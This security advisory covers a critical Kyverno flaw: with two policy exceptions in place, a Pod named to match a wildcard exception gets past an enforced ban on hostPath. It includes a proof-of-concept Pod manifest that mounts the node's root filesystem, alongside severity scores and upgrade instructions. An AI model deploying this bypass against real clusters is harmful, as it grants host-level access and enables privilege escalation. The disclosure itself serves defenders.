GHSA-gg4x-fgg2-h9w9 BIT-kyverno-2026-84200 CVE-2026-84200 GO-2026-4285
Bypassing Kyverno Policies via Double Policy Exceptions
- Severity
- 9.4 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 0.27%
- Chance of exploitation in the next 30 days. Higher than 19.74% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-284 Improper Access Control
- Fix
1.13.0- Upgrade github.com/kyverno/kyverno to this version or later
Description
Summary
If a cluster has a Kyverno policy in enforce mode and there are two exceptions, this allows the policy to be bypassed, even if the first exception is more restrictive than the second.
Details
The following policy was applied:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: disallow-host-path
annotations:
policies.kyverno.io/title: Disallow hostPath
policies.kyverno.io/category: Pod Security Standards (Baseline)
policies.kyverno.io/severity: medium
policies.kyverno.io/subject: Pod,Volume
kyverno.io/kyverno-version: 1.6.0
kyverno.io/kubernetes-version: "1.22-1.23"
policies.kyverno.io/description: >-
HostPath volumes let Pods use host directories and volumes in containers.
Using host resources can be used to access shared data or escalate privileges
and should not be allowed. This policy ensures no hostPath volumes are in use.
spec:
validationFailureAction: Enforce
background: true
rules:
- name: host-path
match:
any:
- resources:
kinds:
- Pod
validate:
message: >-
HostPath volumes are forbidden. The field spec.volumes[*].hostPath must be unset.
pattern:
spec:
=(volumes):
- X(hostPath): "null"
And two exceptions:
apiVersion: kyverno.io/v2beta1
kind: PolicyException
metadata:
name: disallow-host-path-exception
namespace: kyverno
spec:
exceptions:
- policyName: disallow-host-path
ruleNames:
- host-path
match:
any:
- resources:
kinds:
- DaemonSet
- Deployment
- Job
- StatefulSet
- ReplicaSet
- ReplicationController
- Pod
- CronJob
namespaces:
- luntry
- tstkyverno
- examplens
apiVersion: kyverno.io/v2beta1
kind: PolicyException
metadata:
name: disallow-host-path-exception-names
namespace: kyverno
spec:
exceptions:
- policyName: disallow-host-path
ruleNames:
- host-path
match:
any:
- resources:
kinds:
- DaemonSet
- Deployment
- Job
- StatefulSet
- ReplicaSet
- ReplicationController
- Pod
- CronJob
names:
- '*haproxy*'
- '*ingress*'
Trying to apply such a yaml will result in the expected ban:
apiVersion: v1
kind: Pod
metadata:
name: mtkpi
labels:
app: pentest
spec:
containers:
- name: mtkpi
image: ubuntu
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumes:
- name: noderoot
hostPath:
path: /
<img width="855" height="483" alt="Снимок экрана 2025-09-04 в 13 35 46" src="https://github.com/user-attachments/assets/deb28128-52fb-4f5f-a9bd-b68eefd411b2" />
However, if the load name is changed to satisfy the second exception, the restrictions can be bypassed:
apiVersion: v1
kind: Pod
metadata:
name: ingress
labels:
app: pentest
spec:
containers:
- name: mtkpi
image: ubuntu
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumes:
- name: noderoot
hostPath:
path: /
<img width="449" height="386" alt="Снимок экрана 2025-09-04 в 13 37 09" src="https://github.com/user-attachments/assets/8d5ad1e2-6d16-4768-8741-f11363bb9b22" />
It turns out that the second exception is higher in priority for Kyverno and allows for bypass of the restrictions.
Impact
The security restrictions can be bypassed.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/kyverno/kyverno | >= 1.9.0, < 1.13.0 |
1.13.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/kyverno/kyverno Go → 1.13.0
- go
go get github.com/kyverno/kyverno@v1.13.0 && go mod tidy
Severity breakdown
CVSS 4.0 9.4
CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Attack vector
- Adjacent
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- High
- Integrity (subsequent systems)
- High
- Availability (subsequent systems)
- High
- Exploit maturity
- Not defined
- Scope
- X
CVSS 3.1 9.0
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Attack vector
- Adjacent
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-284: Improper Access Control
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
How to prevent it
- Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
- Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-79gf-7frw-68m9 Kyverno's NamespacedGeneratingPolicy generator.apply() namespace argument unvalidated -- background controller creates RoleBindings in any namespace including kube-system | Critical | Also affects github.com/kyverno/kyverno |
| GHSA-fpjq-c37h-cqcv Kyverno Controller Denial of Service via forEach Mutation Panic | High | Also affects github.com/kyverno/kyverno |
| GHSA-8wfp-579w-6r25 Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak) | High | Also affects github.com/kyverno/kyverno |
| GHSA-f9g8-6ppc-pqq4 Kyverno: ServiceAccount token leaked to external servers via apiCall service URL | Critical | Also affects github.com/kyverno/kyverno |
| GHSA-cvq5-hhx3-f99p Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix) | High | Also affects github.com/kyverno/kyverno |
| GHSA-q93q-v844-jrqp kyverno apicall servicecall implicit bearer token injection leaks kyverno serviceaccount token | High | Also affects github.com/kyverno/kyverno |
| GHSA-fmqp-4wfc-w3v7 Kyverno APICall SSRF Vulnerability Leading to Multi-Tenant Isolation Breach | Medium | Also affects github.com/kyverno/kyverno |
| GHSA-qr4g-8hrp-c4rw Kyverno has unrestricted outbound requests in Kyverno apiCall enabling SSRF | High | Also affects github.com/kyverno/kyverno |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor